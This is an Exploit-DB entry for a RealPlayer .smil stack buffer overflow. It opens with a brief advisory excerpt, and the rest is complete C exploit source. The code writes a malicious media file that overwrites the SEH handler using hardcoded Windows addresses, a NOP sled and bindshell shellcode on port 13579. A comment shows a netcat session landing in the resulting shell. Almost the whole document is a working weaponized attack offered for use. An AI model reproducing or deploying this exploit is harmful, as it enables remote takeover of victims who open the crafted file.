Exploit-DB #26497
Description: RealNetworks RealOne Player/RealPlayer - '.RM' Local Stack Buffer Overflow
Type: local
Platform: windows
Date: 2005-11-10
Author: nolimit

Exploit:
/*
source: https://www.securityfocus.com/bid/15381/info

RealNetworks RealPlayer and RealOne Player are reported prone to a remote stack-based buffer-overflow vulnerability. The applications fail to perform boundary checks when parsing RM (Real Media) files. A remote attacker may execute arbitrary code on a vulnerable computer to gain unauthorized access.

This vulnerability is reported to occur in RealNetworks products for Microsoft Windows, Linux, and Apple Mac platforms. 
*/

/* RealPlayer .smil file buffer overflow
Coded by nolimit@CiSO & Buzzdee
greets to COREiSO & #news & flare  & class101 & ESI & RVL & everyone else I forget
This uses a seh overwrite method, which takes advantage of the SEH being placed
in multiple locations over the different OS's. Because of this, it should be
completely universal. :).
Also, we added SEH for enterprise and Standard, if you have a diff 2k3 then deal with it and write your own in.

 C:\tools>nc -vv SERVER 1554
 SERVER [192.168.1.93] 1554 (?) open
 Microsoft Windows 2000 [Version 5.00.2195]
 (C) Copyright 1985-2000 Microsoft Corp.

 C:\Program Files\Real\RealPlayer>

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char pre[]=
"<smil>\n"
"  <head>\n"
"    <layout>\n"
"      <region id=\"a\" top=\"5\" />\n"
"    </layout>\n"
"  </head>\n"
"  <body>\n"
"    <text src=\"1024_768.en.txt\" region=\"size\" system-screen-size=\"";

char shellcode[]=
/* bindshell port 13579 thx to metasploit.com :)
   restricted chars: 0x00, 0x90, 0xa0, 0x20, 0x0a, 0x0d, 0x3c, 0x3e,
                     0x2f, 0x5c, 0x22, 0x58, 0x3d, 0x3b  */
"\x29\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8f"
"\x35\x37\x85\x83\xeb\xfc\xe2\xf4\x73\x5f\xdc\xca\x67\xcc\xc8\x7a"
"\x70\x55\xbc\xe9\xab\x11\xbc\xc0\xb3\xbe\x4b\x80\xf7\x34\xd8\x0e"
"\xc0\x2d\xbc\xda\xaf\x34\xdc\x66\xbf\x7c\xbc\xb1\x04\x34\xd9\xb4"
"\x4f\xac\x9b\x01\x4f\x41\x30\x44\x45\x38\x36\x47\x64\xc1\x0c\xd1"
"\xab\x1d\x42\x66\x04\x6a\x13\x84\x64\x53\xbc\x89\xc4\xbe\x68\x99"
"\x8e\xde\x34\xa9\x04\xbc\x5b\xa1\x93\x54\xf4\xb4\x4f\x51\xbc\xc5"
"\xbf\xbe\x77\x89\x04\x45\x2b\x28\x04\x75\x3f\xdb\xe7\xbb\x79\x8b"
"\x63\x65\xc8\x53\xbe\xee\x51\xd6\xe9\x5d\x04\xb7\xe7\x42\x44\xb7"
"\xd0\x61\xc8\x55\xe7\xfe\xda\x79\xb4\x65\xc8\x53\xd0\xbc\xd2\xe3"
"\x0e\xd8\x3f\x87\xda\x5f\x35\x7a\x5f\x5d\xee\x8c\x7a\x98\x60\x7a"
"\x59\x66\x64\xd6\xdc\x66\x74\xd6\xcc\x66\xc8\x55\xe9\x5d\x02\x8e"
"\xe9\x66\xbe\x64\x1a\x5d\x93\x9f\xff\xf2\x60\x7a\x59\x5f\x27\xd4"
"\xda\xca\xe7\xed\x2b\x98\x19\x6c\xd8\xca\xe1\xd6\xda\xca\xe7\xed"
"\x6a\x7c\xb1\xcc\xd8\xca\xe1\xd5\xdb\x61\x62\x7a\x5f\xa6\x5f\x62"
"\xf6\xf3\x4e\xd2\x70\xe3\x62\x7a\x5f\x53\x5d\xe1\xe9\x5d\x54\xe8"
"\x06\xd0\x5d\xd5\xd6\x1c\xfb\x0c\x68\x5f\x73\x0c\x6d\x04\xf7\x76"
"\x25\xcb\x75\xa8\x71\x77\x1b\x16\x02\x4f\x0f\x2e\x24\x9e\x5f\xf7"
"\x71\x86\x21\x7a\xfa\x71\xc8\x53\xd4\x62\x65\xd4\xde\x64\x5d\x84"
"\xde\x64\x62\xd4\x70\xe5\x5f\x28\x56\x30\xf9\xd6\x70\xe3\x5d\x7a"
"\x70\x02\xc8\x55\x04\x62\xcb\x06\x4b\x51\xc8\x53\xdd\xca\xe7\xed"
"\xf1\xed\xd5\xf6\xdc\xca\xe1\x7a\x5f\x35\x37\x85";


char end[]=
"  </body>"
"</smil>";

char overflow[1700];
int main(int argc,char *argv[])
{

        FILE *vuln;
        if(argc == 1)
        {
                printf("RealPlayer 10 .smil file local buffer overflow.\n");
                printf("Coded by nolimit & buzzdee.\n");
                printf("Usage: %s <outputfile>\n",argv[0]);
                return 1;
        }
        vuln = fopen(argv[1],"w");
        //build overflow buffer here.
        memset(overflow,0x90,sizeof(overflow)); //fill with nops
        memcpy(overflow+1068,"\xeb\x08\xeb\x08",4); //
        memcpy(overflow+1072,"\x4a\xe1\xc9\x61",4); // se handler in win xp (pop pop ret)
        memcpy(overflow+1084,"\xeb\x08\xeb\x08",4); //
        memcpy(overflow+1088,"\xae\x7f\xA2\x60",4); // se handler in win2k3 (pop pop ret) for small biz or something
        memcpy(overflow+1100,"\xeb\x08\xeb\x08",4); //
        memcpy(overflow+1104,"\xae\x7f\xA2\x60",4); // se handler in win2k3 (pop pop ret) enterprise
        memcpy(overflow+1108,"\xeb\x08\xeb\x08",4); //jump +8 into nops
        memcpy(overflow+1112,"\xbf\xbb\xA2\x60",4); //overwrite seh (win2k) with call ebx (pncrt.dll - hopefully universal...^^)
    	memcpy(overflow+1125,shellcode,sizeof(shellcode)); //our shellcode after some nope to land in

        if(vuln)
        {
                //Write file
                fprintf(vuln,"%s%s\"/>\n%s",pre,overflow,end);
                fclose(vuln);
        }
        printf("File written.Binds a shell on port 13579.\nOpen with realplayer to exploit.\n");
        return 0;
}